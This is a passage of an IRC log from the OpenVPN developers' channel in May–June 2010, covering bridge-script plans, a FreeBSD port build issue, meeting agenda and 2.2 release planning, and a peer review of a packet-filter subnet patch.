crippled - or it will look like developers are just holding back to be mean 14:58 <@mattock> can we _finally_ end the meeting and this script discussion? :D 14:58 <@dazo> +1 14:58 < krzee> dazo, i was being a smartass, and certainly not talking to you (you do educate many people in there now) 14:58 <@mattock> carebear: +1 14:59 < krzee> (including myself ;] ) 14:59 < waldner> well, it's impossible to have a bridging script thatworks without any kind of customization I'd say 14:59 <@dazo> krzee: not as often now as earlier ;-) 14:59 < krzee> CareBear\, thats a good point. +1 14:59 * dazo mostly lurks on ##openvpn nowadays 15:00 < waldner> also it should be decided if it should be run before starting OpenVPN, or as a --up script, client/server, etc.etc. 15:00 < waldner> so it can probably be done, but needs some thought 15:01 < waldner> (ok, it's late) 15:01 <@mattock> waldner: so users need to educate themselves with help from dazo and krzee... and then customize their bridge script accordingly :) 15:01 * dazo considers to throw a rock in mattock direction now 15:01 < waldner> we can help them with comments, and educate them on how to customize 15:01 <@mattock> let's fix the scripts and make sure people understand they need to modify them 15:01 < waldner> yes definitely 15:02 < krzee> mattock, actually im not very useful educating users on bridging, mostly i show them why they dont need a bridge ;] 15:02 <@mattock> ok, so script issues settled for now? 15:02 < krzee> (unless they actually do, which is rare) 15:02 < krzee> yes 15:02 < waldner> I can write a draft bridge-start and stop to be further discussed 15:02 <@mattock> waldner: that'd be great! 15:02 < krzee> waldner, would be great 15:02 <@dazo> waldner: that would be awesome! 15:03 < waldner> \o/ 15:03 < waldner> ok ok :) 15:03 <@dazo> heh :) 15:03 <@mattock> waldner: do you notice how we hook people into committing themselves? ;) 15:03 < waldner> :) 15:03 * dazo appoints waldner as the educator for now :) 15:03 <@mattock> ok, it's getting mighty late here, anything else anyone? 15:03 < krzee> yay waldner /o\ (thats a handstand) 15:04 <@mattock> we've already covered _a lot_ and it's been a great meeting! 15:04 < waldner> true 15:04 <@dazo> thanks a lot everyone! 15:04 < krzee> yup, good meeting! 15:04 <@dazo> it's been a good meeting, indeed 15:04 < waldner> thanks 15:04 <@mattock> I'll try to summarize the meeting tomorrow evening or on Saturday 15:05 <@mattock> bye all, I'm off to bed! 15:05 <@dazo> perfect! thx a lot, mattock 15:05 <@mattock> you're welcome! 15:05 < krzee> gnite mattock 15:05 < waldner> good night 15:05 < CareBear\> bye mattock 15:05 <@dazo> gnite all 15:05 * dazo heads off to bed as well 15:05 < krzee> whoa i thought you were in USA for some reason 15:05 < krzee> (far from bedtime) 15:06 <@mattock> krzee: nope, Finland 15:06 < CareBear\> .fi maybe 15:06 < krzee> i mean david 15:06 <@mattock> 23:06 (or 11.06PM) 15:06 <@mattock> krzee: oh 15:06 < krzee> i know you're .fi =] 15:07 < krzee> anyways, im out too, my work shift ends at the same time as our meeting does =] 15:07 < krzee> later guys 15:07 <@mattock> bye krzee 15:08 < waldner> bye all 15:08 <@mattock> my computer also needs to hibernate for the night... 15:08 <@dazo> krzee: nope, I'm in Europe 15:08 * dazo logs off noe 15:08 <@dazo> now 15:08 < CareBear\> until next time! 15:09 -!- CareBear\ [peter@stuge.se] has left #openvpn-devel [] 15:09 -!- dazo is now known as dazo_afk 15:12 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:22 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 16:02 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 16:30 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 16:48 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 16:49 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 23:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri May 28 2010 01:53 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 02:15 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 02:15 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:26 -!- dazo_afk is now known as dazo 02:29 -!- chantra [~chantra@ns22757.ovh.net] has joined #openvpn-devel 03:08 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-aqlgaburhzhjuivb] has joined #openvpn-devel 04:22 -!- dazo is now known as dazo_afk 04:50 -!- dazo_afk is now known as dazo 05:08 -!- dazo [~dazo@nat/redhat/x-vsvsbydijdeuovmj] has quit [Quit: ZNC - http://znc.sourceforge.net] 05:09 -!- dazo_ [~dazo@nat/redhat/x-lavgajowzvkfzepv] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 05:09 -!- dazo_ is now known as dazo 05:33 -!- dazo [~dazo@nat/redhat/x-lavgajowzvkfzepv] has quit [Quit: Leaving] 05:34 -!- dazo_afk [~dazo@nat/redhat/x-niyacgpftukqnhmx] has joined #openvpn-devel 05:34 -!- dazo_afk is now known as dazo 05:34 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:52 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:47 -!- dazo [~dazo@nat/redhat/x-niyacgpftukqnhmx] has quit [Read error: Connection reset by peer] 07:47 -!- dazo [~dazo@nat/redhat/x-ieefselzacwhedqp] has joined #openvpn-devel 07:47 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:04 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:06 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 11:08 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-aqlgaburhzhjuivb] has quit [Disconnected by services] 11:08 -!- waldner_ is now known as waldner 11:24 -!- Irssi: #openvpn-devel: Total of 15 nicks [5 ops, 0 halfops, 0 voices, 10 normal] 12:55 -!- dazo is now known as dazo_afk 14:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:56 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 17:11 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 21:55 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 22:00 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sat May 29 2010 00:04 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 00:09 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 00:09 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 00:30 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 02:26 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 05:09 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:45 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 11:25 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 13:46 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:20 < krzee> https://community.openvpn.net/openvpn/wiki/IrcMeetings 15:20 < vpnHelper> Title: IrcMeetings – OpenVPN (at community.openvpn.net) 15:20 < krzee> wrong channel name 15:29 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:43 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 17:02 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Sun May 30 2010 04:38 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:05 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 06:17 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 06:42 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 07:01 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 07:09 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:17 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 07:56 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:04 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:42 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 14:43 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 16:16 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 18:24 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Mon May 31 2010 00:24 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:02 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 03:51 -!- dazo_afk is now known as dazo 04:08 <@dazo> krzee: thx! I've fixed it now 05:52 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 10:11 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 12:20 -!- dazo is now known as dazo_afk 13:06 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:24 < krzee> np 14:45 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 14:56 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:22 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:47 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] --- Day changed Tue Jun 01 2010 01:54 -!- dazo_afk is now known as dazo 02:04 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:39 -!- dazo is now known as dazo_afk 04:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:42 -!- dazo_afk is now known as dazo 10:25 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 11:40 -!- openvpn2009 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has quit [Ping timeout: 258 seconds] 11:40 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:41 -!- Guest12047 is now known as openvpn2009 11:41 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 11:55 -!- dazo is now known as dazo_afk 12:48 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 18:42 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 272 seconds] 18:54 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 22:04 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 22:05 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 22:06 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 22:06 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 22:52 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 22:52 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] --- Day changed Wed Jun 02 2010 01:17 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:23 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 01:23 -!- d12fk [~heiko@vpn.astaro.de] has quit [Ping timeout: 265 seconds] 02:32 -!- Netsplit *.net <-> *.split quits: @dazo_afk 02:39 -!- Netsplit over, joins: @dazo_afk 02:42 -!- d457k [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 02:43 -!- d12fk [~heiko@2a01:198:4d7:0:21f:c6ff:fe44:aec8] has joined #openvpn-devel 03:04 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:33 -!- dazo_afk is now known as dazo 05:53 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 06:37 -!- d12fk [~heiko@2a01:198:4d7:0:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 06:38 -!- d12fk [~heiko@2a01:198:4d7:0:21f:c6ff:fe44:aec8] has joined #openvpn-devel 07:29 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 09:04 <@cron2> is ecrist around? 09:04 <@cron2> tried to build freebsd/security/openvpn-devel just now, and it fails due to local patch breakage 09:04 <@cron2> ===> Patching for openvpn-devel-201019 09:04 <@cron2> ===> Applying FreeBSD patches for openvpn-devel-201019 09:04 <@cron2> 1 out of 1 hunks failed--saving rejects to ./t_cltsrv.sh.rej 09:04 <@cron2> => Patch patch-update-t_cltsrv failed to apply cleanly. 09:04 <@cron2> => Patch(es) patch-selftest-ports applied cleanly. 09:13 < ecrist> blast 09:13 < ecrist> I need to re-roll that anyhow 09:13 < ecrist> I'll work on that now, quick 09:14 < ecrist> cron2: I don't see any local patches in the port... 09:14 <@cron2> just upgraded one of our corp openvpn boxes to 7.3-RELEASE-p1 and want to try openvpn-devel on that one. Let's see in which funny ways it will break :-) 09:14 <@cron2> huh? 09:14 <@cron2> I have stuff in files/ 09:15 <@cron2> -rw-r--r-- 1 root wheel 3981 Mar 27 01:14 openvpn.sh.in 09:15 <@cron2> -rw-r--r-- 1 root wheel 846 Apr 4 2007 patch-selftest-ports 09:15 <@cron2> -rw-r--r-- 1 root wheel 1258 Aug 10 2008 patch-update-t_cltsrv 09:15 <@cron2> -rw-r--r-- 1 root wheel 848 Mar 27 07:14 pkg-message.in 09:15 <@cron2> -rw-r--r-- 1 root wheel 744 Feb 23 13:22 pkg-req.in 09:15 < ecrist> I don't, locally 09:15 < ecrist> looking into it,hang on 09:15 < ecrist> doing a quick portsnap and I'll look and see what the problem is 09:15 <@cron2> uh. maybe my ports tree got confused. *go and check other machine* 09:16 <@cron2> ok. other machine does not have the two patch-* files. Both machines use portsnap. This is no good 09:17 <@cron2> *run make update* 09:19 <@cron2> mmmh. portsnap updated on both machines, one still has no patches, the other one still has. Ugh. Doesn't portsnap delete stale files? 09:20 <@cron2> (I'm more used to "csup" updates, and that will certainly delete everything...) 09:22 < ecrist> cron2: no, portsnap expects a 'pristine' state from one point. 09:22 < ecrist> what I suggest people do is remove /usr/ports/ and do a portsnap fetch && portsnap extract 09:22 < ecrist> then go from there. 09:23 <@cron2> ecrist: ok, so maybe I messed that up, doing a portsnap extract over a pre-existing csup ports tree, thus leaving stale files in place. 09:23 < ecrist> portsnap only funcitions on patches, really 09:23 <@cron2> note to self: don't do this! 09:23 < ecrist> that would do it. 09:24 < ecrist> I'm compiling for 201022 now, will push a port update out today, providing a comitter is available. 09:24 <@cron2> removing the files makes everything compile :-) 09:24 <@cron2> haha 09:24 <@cron2> socket.c:215:2: warning: #warning **** DEPRECATED FEATURE **** DEPRECATED_RANDOM_RESOLV is enabled 09:30 <@dazo> the -testing tree should be compiled with --disable-depr-random-resolv .... or else we won't catch those explicitly needing features in the Feature Removal Process 09:31 * cron2 sends dazo to ecrist :-) *duck* 09:32 <@dazo> https://community.openvpn.net/openvpn/wiki/TesterDocumentation#Configureandcompile 09:32 < vpnHelper> Title: TesterDocumentation – OpenVPN (at community.openvpn.net) 09:32 <@dazo> ecrist: ^^ 09:33 < ecrist> sent update to 201022 for freebsd ports tree 09:34 <@dazo> ecrist: upi 09:34 <@dazo> you're applying some extra patches ... what are they? 09:34 < ecrist> no I'm not 09:34 <@dazo> ===> Applying FreeBSD patches for openvpn-devel-201019 09:34 <@dazo> ? 09:34 * ecrist suggests dazo continues reading. 09:35 <@cron2> dazo: sorry, my fault, stale ports tree here 09:35 <@dazo> ahh 09:35 <@dazo> sorry for begin confused :) 09:35 <@dazo> *being 09:36 < ecrist> I will add the --disable-depr-random-resolv to the port and submit the patch, doing it now. 09:36 <@dazo> ecrist: thx! :) 09:37 <@dazo> anyway ... I'm happy to see that the warning system for FRP seems to work :) 09:46 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 09:51 -!- dazo [~dazo@nat/redhat/x-ieefselzacwhedqp] has quit [Read error: Connection reset by peer] 09:53 -!- dazo_ [~dazo@nat/redhat/x-pwuexlhljmuonjtn] has joined #openvpn-devel 09:54 -!- dazo_ is now known as Guest94440 09:54 -!- mode/#openvpn-devel [+o Guest94440] by ChanServ 09:54 -!- Guest94440 is now known as dazo 10:50 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 11:47 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:51 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:02 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 12:38 -!- dazo is now known as dazo_afk 14:12 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:45 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:31 -!- chantra is now known as chantra_ 17:31 -!- chantra_ is now known as chantra__ 17:31 -!- chantra__ is now known as chantra 18:04 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 23:36 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 23:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 23:38 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 23:48 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] --- Day changed Thu Jun 03 2010 00:48 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 01:42 -!- dazo_afk is now known as dazo 02:11 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has joined #openvpn-devel 03:14 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-pkiquncmdsnkeurz] has joined #openvpn-devel 05:15 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 05:15 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:25 <@mattock> dazo: it seems we don't yet have an agenda for today... any topics we should cover? 06:47 <@dazo> mattock: aikes ... thursday already .... 06:47 <@mattock> yep 06:47 <@dazo> yeah ... There is one on the mailing list ... 06:48 <@dazo> "[Openvpn-devel] openvpn-2.1.0-r1: easy-rsa tools creates broken client CERTs unusable for TLS" 06:49 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3703 06:49 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:51 <@dazo> we should probably discuss the dynamic iroute behaviour as well ... http://thread.gmane.org/gmane.network.openvpn.devel/3691 and http://thread.gmane.org/gmane.network.openvpn.devel/3722 06:51 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 06:52 <@dazo> I've given some feedback to the initial patch ... basically sending it back to be improved, as the initial code quality was not too good 06:53 <@dazo> I'm also wondering if we a) want this feature and b) if yes, should it also be a configurable runtime option and not just compile time config option 06:54 <@dazo> And one support ticket: https://community.openvpn.net/openvpn/ticket/13 06:54 < vpnHelper> Title: #13 (Not using --push on server makes client sending PUSH_REQUEST continuously) – OpenVPN (at community.openvpn.net) 06:55 <@dazo> mattock: that's basically what I have in my head right now ... and I've most probably forgotten some stuff ... 06:55 <@mattock> ok, I'll create the agenda page 06:56 <@dazo> mattock: I'll try to manage the meeting, but it'll be a long day to day for me, so when the meeting time comes I might be quite sleepy 06:56 <@mattock> if we don't have any more stuff than this, it should not take long ... at least in theory 06:56 <@dazo> :) 06:57 <@dazo> another one .... when should we schedule the next 2.2 release? 06:57 <@dazo> and which features to we see we want to include? 06:58 <@dazo> I've gotten SVN access to svn.openvpn.net ... so I should begin to do something there when we're decided about features 06:58 <@mattock> svn access, great! we should definitely discuss 2.2 features 06:59 <@dazo> and it would be beneficial if James could come with some input on the last OpenVPN 3.x roadmap ... to see how that aligns with his ideas 07:00 < ecrist> fwiw, I've started working on forums. 07:04 <@mattock> ecrist: every setup already? ;) 07:04 <@mattock> ok, so agenda here: https://community.openvpn.net/openvpn/wiki/Topics-2010-06-03 07:04 < vpnHelper> Title: Topics-2010-06-03 – OpenVPN (at community.openvpn.net) 07:04 <@mattock> I'll send email now 07:10 <@dazo> mattock: I suggest bugfix2.1, feat_misc and feat_eurephia as safe for v2.2 inclusion ... that's a considerable changeset, but still not extreme changes ... IPv6 support can go in in either 2.2 or 2.3 (depending on how comfortable cron2 is about it) - I'd probably prefer 2.3, and make that IPv6 enablement focused only, maybe feat_vlan_tagging if that seems to be safe/stable for a release 07:11 <@mattock> ok, I'll keep that in mind in case you don't make it 07:11 <@dazo> mattock: that's my reason for mentioning it now :) 07:11 <@cron2> dazo: I'd second 2.3 - I want IPv6 to go in, but there is some work left to do on the ipv6_payload stuff and right now I'm a bit short on time 07:11 <@cron2> so it's better to have a 2.2 "soonish" and 2.3 "early afterwards" 07:12 <@dazo> cron2: good :) Yeah, I think I sensed that last time we spoke about it ... that you wanted a bit more time with IPv6 07:13 <@dazo> cron2: btw ... I'm beginning to prepare for IPv6 setup with OpenVPN - transport as the first step, then payload soonish after ... hopefully ready for real prod-testing during summer 07:14 <@dazo> mattock: I'd like to see we have a 2.2 beta available beginning of July 07:14 <@mattock> that's probably reasonable... I'd probably manage to get the automated build system running by then, too 07:14 <@dazo> nice! 07:16 <@dazo> ecrist: re: openvpn-devel snapshots ... did you end up using your own bootstrap script, or do you still use the one in the repository? 07:18 <@cron2> dazo: regarding IPv6 testing - cool :-) 07:44 < ecrist> dazo, I don't remember, let me look 07:45 < ecrist> dazo: http://pastebin.com/u2CDvf04 07:47 <@dazo> ecrist: ahh ... you're using your own copy 07:49 < ecrist> it would seem 08:38 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 09:14 < chantra> hey all, was trying to open a trac ticket.... but I get "Submission rejected as potential spam" 09:14 < chantra> anything I could do to bypass that? 09:18 <@mattock> chantra: yep, from the Trac Wiki front page: "Bayesian spam prevention is being teached and is not active yet. This causes all edits to being rejected as spam, unless you define your real name and email address in Trac-specific preferences. These are not the same as those used during registration." 09:18 <@mattock> meaning here: https://community.openvpn.net/openvpn/prefs 09:18 < vpnHelper> Title: Preferences: General – OpenVPN (at community.openvpn.net) 09:18 < chantra> mattock: tks a lot 09:18 <@mattock> no probs 09:19 < chantra> mattock: I thought I read something about the spam plugin.... could not find out where :p 09:20 <@mattock> yep, it was too visible :) 09:21 < chantra> lol 09:23 < chantra> was digging irc logs... mailing list.... i am just so blind when things are right in front of me... (at least that what my gf says :D ) 09:23 < chantra> mattock: does you guys prefer patch submiotted through mailing list rather than trac? 09:30 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 09:50 <@dazo> chantra: I'm going to try to create a ticket for each submitted patches to the ML anyway, to have a way of tracking the progress of each patch more easily 09:50 < chantra> dazo: just sent the email to mkl :) 09:50 <@dazo> chantra: so do what's convenient for you :) 09:50 < chantra> -mkl +ml 09:50 <@dazo> :) 09:51 <@dazo> as long as it's not lkml, it's probably good :) 09:51 < chantra> i believe bug tracking software are more firendly in terms access for known issues 09:52 < chantra> i found the internet pollutted with 10k times the same mailing list thread result... but on different mirrors 09:52 < chantra> making it more and more difficult to find proper answer sometimes :( 09:52 < chantra> dazo: for trac inprovement... who should be contacted ? 09:52 <@dazo> yeah, it is ... but some patches on the ML has slipped through my fingers by accident, so that's been a bit tricky to catch afterwards, and embarrassing for me :-P 09:53 <@dazo> chantra: mattock most probably 09:53 < chantra> ok, tks 09:53 <@dazo> depends on what kind of improvements ... I do have some limited admin rights to the trackers 09:53 < chantra> mattock: a tack feature that I like to push... 09:54 < chantra> in https://community.openvpn.net/openvpn/ticket/14 i entered a commit sha 09:54 < vpnHelper> Title: #14 ([PATCH] Handle non standard subnets in PF grammar) – OpenVPN (at community.openvpn.net) 09:54 < chantra> could be nice if it linked to the actuall git web repo on sourceforge 09:54 < chantra> instead of builtin trac brpwser 09:54 <@dazo> +1 09:55 * chantra never installed/conf trac so I dont know how that could be going 09:55 < chantra> but i guess trac can at least mirror the live repo 10:03 <@dazo> chantra: anyway, thx for the patch ... I'd say that one looks pretty sane to me, I'll try to see if I can get it acked during the weekend (unless somebody else does it before me) ... and then get it applied to bugfix2.1 10:04 -!- chantra [~chantra@ns22757.ovh.net] has quit [Changing host] 10:04 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 10:04 <@dazo> chantra: anyway, thx for the patch ... I'd say that one looks pretty sane to me, I'll try to see if I can get it acked during the weekend (unless somebody else does it before me) ... and then get it applied to bugfix2.1 10:04 < chantra> dazo: it applies straight against later bugfix2.1 commit 10:04 <@dazo> chantra: would be great if you could do git commit -s .... in the future, that is ... I'll add the Signed-off manually this time 10:05 * dazo double checks that commit -s is documented 10:05 <@dazo> it is 10:06 < chantra> arg sorry, did git format-patch.. 10:06 < chantra> dazo: it take me to sec to revert and resubmit 10:06 < chantra> will update trac patch 10:06 <@dazo> chantra: nah, no rush for me 10:09 < chantra> that will give me some training :) 10:12 < chantra> dazo: uploaded to https://community.openvpn.net/openvpn/ticket/14 10:12 < vpnHelper> Title: #14 ([PATCH] Handle non standard subnets in PF grammar) – OpenVPN (at community.openvpn.net) 10:12 <@dazo> chantra: cool, thx a lot! looking good :) 10:21 < chantra> np 10:46 <@cron2> semi-ACK 10:47 <@cron2> the patch is fine, but one could argue that silently changing user input values is not the right thing to do. See mail on list. 10:48 < chantra> cron2: the previous behaviour was silently changing behaviour too :s, at leat in my opinion 10:48 < chantra> as the range 192.168.100.8/28 was being accepted to go through 10:49 <@cron2> chantra: the old behaviour was most definitely broken - not printing a warning, and not doing anything matching user expectations 10:49 < chantra> cron2: here is the test case http://permalink.gmane.org/gmane.network.openvpn.devel/3721 10:49 < vpnHelper> Title: Handling of subnets grammar in Packet filter file (at permalink.gmane.org) 10:49 <@cron2> chantra: yes, I've seen the original mail on the list 10:50 < chantra> it is my understanding that 192.168.100.8/28 = 192.168.100.0/28 in terms of subnetting 10:50 <@cron2> well, some devices will print an error and refuse the input if you specify a subnet with a base address that is not "the subnet address" 10:51 <@cron2> I wasn't refusing the patch, just adding a few more thoughts :-) 10:52 < chantra> cron2: yeah, i understand :) 10:52 < chantra> was just explaining my throught :) 10:52 < chantra> well, really this is the behaviour of ipcalc for nstall 10:52 < chantra> -nstall +instance 10:53 < chantra> and ip addr add 192.168.100.8/28 would assume IP 192.168.100.8 with netmask /28 10:54 < chantra> but yeah, as I mentionned in the post, this is user error in the first place 10:54 <@cron2> "ip addr add" is actually doing something else - it's specifically configuring *that* address, so you can't put a ".0/28" there anyway 10:55 -!- mape2k [~mape2k@2001:638:904:ffc4:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 10:55 < chantra> cron2 i eant it will configure .100.8 with netmask /28 10:57 < chantra> well, let say that in my use case at least, I assume safer to interpret 192.168.100.8/28 as 192.168.100.0/28 or even 192.168.100.24/28 as 192.168.100.16/28 10:58 < chantra> rahter than letting the packets through 10:58 < chantra> now, in terms of error, as this is going on at runtime, it is tough to indicate the error (but for a warning in logs ) to user 10:59 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-pkiquncmdsnkeurz] has quit [] 11:03 < krzee> im still stuck at "we have a packet filter in openvpn!?" 11:04 < chantra> krzee: :) 11:04 < krzee> lol =] 11:05 < chantra> krzee: actually, this is going to be really usefull to my company soon :) 11:12 -!- dazo is now known as dazo_afk 11:16 * ecrist suggests importing pf into openvpn source. ;) 11:16 < ecrist> do it big or go home. 11:16 < ecrist> that would solve NAT, and all sorts of other issues. 11:27 < krzee> haha 11:34 <@cron2> ecrist: BSD style would be "have 3 differebt filters available" :-) 11:35 < ecrist> sure, why not. ;) 11:37 <@cron2> ummm. need to look at the patch and the code again, to verify endianness of stuff 11:38 <@cron2> typing is hard with a sleeping infant on the left shoulder... 11:42 <@cron2> ok, checked, network.s_addr is in network byte order, rule.network in host byte order, "netmask" as well 11:42 <@cron2> ACK 11:52 -!- raidz [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 11:55 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:01 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:36 < 